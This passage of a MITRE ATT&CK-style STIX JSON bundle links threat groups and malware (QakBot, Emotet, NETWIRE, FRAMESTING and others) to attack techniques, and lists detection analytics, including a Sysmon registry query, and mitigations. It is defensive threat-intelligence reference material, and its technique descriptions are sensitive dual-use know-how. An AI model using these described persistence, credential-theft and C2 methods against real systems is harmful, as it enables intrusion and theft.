["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eae9381a-9045-4b71-9b80-cacea0336a1a", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eaebb080-e57e-4c06-84df-376cc8bff09e", "type": "relationship", "created": "2020-11-10T16:04:00.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}], "modified": "2020-11-10T16:04:00.852Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the \u201cnet view\u201d command to locate mapped network shares.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eaed4cbc-d5d1-4274-af09-62d98ae1afc7", "type": "relationship", "created": "2019-01-30T13:42:09.419Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2020-03-17T01:16:25.929Z", "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) adds a shortcut file to the startup folder for persistence.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eaf2533c-e25e-4d4c-a7e5-62342a874bb1", "type": "relationship", "created": "2021-09-30T13:49:35.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}], "modified": "2021-10-01T14:51:26.951Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has collected usernames and passwords from Firefox and Chrome.(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eaf4c445-8af9-48b7-9971-01a371145fde", "type": "relationship", "created": "2021-01-08T21:23:21.247Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}, {"source_name": "Unit 42 NETWIRE April 2020", "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}], "modified": "2021-01-11T21:22:09.780Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use TCP in C2 communications.(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eafd7faf-dfeb-4f62-aa67-19b62f3114a4", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor for newly constructed user accounts through account audits to detect suspicious accounts that may have been created by an adversary. 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(2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-08-18T13:13:30.748Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can obtain a list of running processes.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eb21bd35-77bb-4bc4-868d-b6e0940375ca", "type": "relationship", "created": "2020-02-12T15:02:01.368Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. 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(2021, November 29). CONTInuing the Bazar Ransomware Story. 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Retrieved August 24, 2021."}], "modified": "2021-08-31T15:25:14.120Z", "description": "(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eb3a838e-f6dd-4e9b-8edf-fc652adde117", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). 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Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T16:16:41.757Z", "description": "[STARWHALE](https://attack.mitre.org/software/S1037) can collect data from an infected local host.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--eb985609-6a5f-4e44-9bae-bfbc1e93d978", "created": "2022-05-31T19:35:22.519Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Ensure that MFA and MFA policies and requirements are properly implemented for existing and deactivated or dormant accounts and devices. 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Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-11T17:58:46.343Z", "description": "[FRAMESTING](https://attack.mitre.org/software/S1120) can embed itself in the CAV Python package of an Ivanti Connect Secure VPN located in `/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py.`(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "malware--bcaae558-9697-47a2-9ec7-c75000ddf58c", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--eb9d818f-cf34-4d58-9326-3391adbbb656", "created": "2024-02-07T18:58:22.167Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. 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Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-07T20:49:42.400Z", "description": "[SLOWPULSE](https://attack.mitre.org/software/S1104) is applied in compromised environments through modifications to legitimate Pulse Secure files.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eb9fb4e7-1b43-41ee-88e1-a3f93a278082", "type": "relationship", "created": "2021-03-24T20:25:01.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. 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Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}, {"source_name": "Secureworks Emotet Nov 2018", "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"}, {"source_name": "US-CERT Emotet Jul 2018", "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T17:06:14.712Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed creating new services to maintain persistence.(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Binary Defense Emotes Wi-Fi Spreader) ", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eba54c2a-854f-4349-9248-314519ed9c43", "type": "relationship", "created": "2019-05-02T00:08:18.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Livelli, K, et al. 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Retrieved May 1, 2019.", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "source_name": "Cylance Shaheen Nov 2018"}], "modified": "2020-03-17T15:02:14.635Z", "description": "[The White Company](https://attack.mitre.org/groups/G0089) has used phishing lure documents that trick users into opening them and infecting their computers.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--eba5e32f-2817-4833-8d65-3ccb2d9d367c", "created": "2023-09-28T13:28:01.411Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-13T16:34:59.309Z", "description": "[Pacu](https://attack.mitre.org/software/S1091) can create snapshots of EBS volumes and RDS instances.(Citation: GitHub Pacu)", "relationship_type": "uses", "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9", "target_ref": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eba8bfe5-1005-4e0e-91d3-f116c6d2380a", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor for newly constructed files and/or all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebab1ba1-e02b-41ab-8682-5a44d68fb155", "type": "relationship", "created": "2020-06-10T20:30:38.924Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.432Z", "description": "(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebae4e41-0925-46af-b7bf-aba3ea0c25ec", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor for changes made to files that may abuse Microsoft Office templates to obtain persistence on a compromised system. Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebb9afc6-dbe3-4049-8f33-a782f15eca79", "type": "relationship", "created": "2020-01-17T16:49:36.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-09T13:46:29.888Z", "description": "Restrict software installation to trusted repositories only and be cautious of orphaned software packages.", "relationship_type": "mitigates", "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebbb5d6e-9949-436b-85c5-5cd90a681042", "type": "relationship", "created": "2021-06-30T17:12:54.907Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T17:12:54.907Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has decrypted an AES encrypted binary file to trigger the download of other files.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ebc54b2c-1ecf-4db4-84b2-b7cd0defbfa7", "created": "2022-04-14T15:45:36.480Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Elastic Process Injection July 2017", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)", "modified": "2022-04-14T15:45:36.480Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebc8ea86-6847-494a-b304-b6750a2f54e5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2020-03-19T19:52:53.301Z", "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebd51f84-cd09-4b40-88bd-bed2461996d7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "source_name": "Microsoft PLATINUM April 2016"}], "modified": "2019-05-10T12:14:32.235Z", "description": "(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", "target_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebd78850-caf0-4e14-8338-0f7347063afc", "type": "relationship", "created": "2021-10-11T19:34:23.397Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-10-11T19:34:23.397Z", "description": "[Bandook](https://attack.mitre.org/software/S0234) has decoded its PowerShell script.(Citation: CheckPoint Bandook Nov 2020)", "relationship_type": "uses", "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b", "type": "relationship", "created": "2019-01-30T19:50:46.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.534Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used FTP for C2 communications.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ebd9f76d-f007-4077-a0c0-7b319eeb3b40", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T18:07:17.336Z", "description": "Monitor for the creation to Registry keys associated with Windows logon scrips, nameley <code>HKCU\\Environment\\UserInitMprLogonScript</code>.\n\nAdversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path.\n\nAnalytic 1 - Boot or Logon Initialization Scripts\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (12, 14, 13)) TargetObject= \"*\\Environment*UserInitMprLogonScript\")  </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ebe49c13-057f-4dc4-b04b-f19ac2480c4a", "created": "2022-09-22T00:34:44.821Z", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-22T00:34:44.821Z", "description": "During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used dynamic DNS services for C2.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebed8156-bce1-4710-bd99-7cdcfa887d28", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2019-04-25T12:37:45.583Z", "description": "[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ebf39235-749f-400e-aeb9-185df9e43fe1", "type": "relationship", "created": "2020-06-24T20:43:18.213Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and 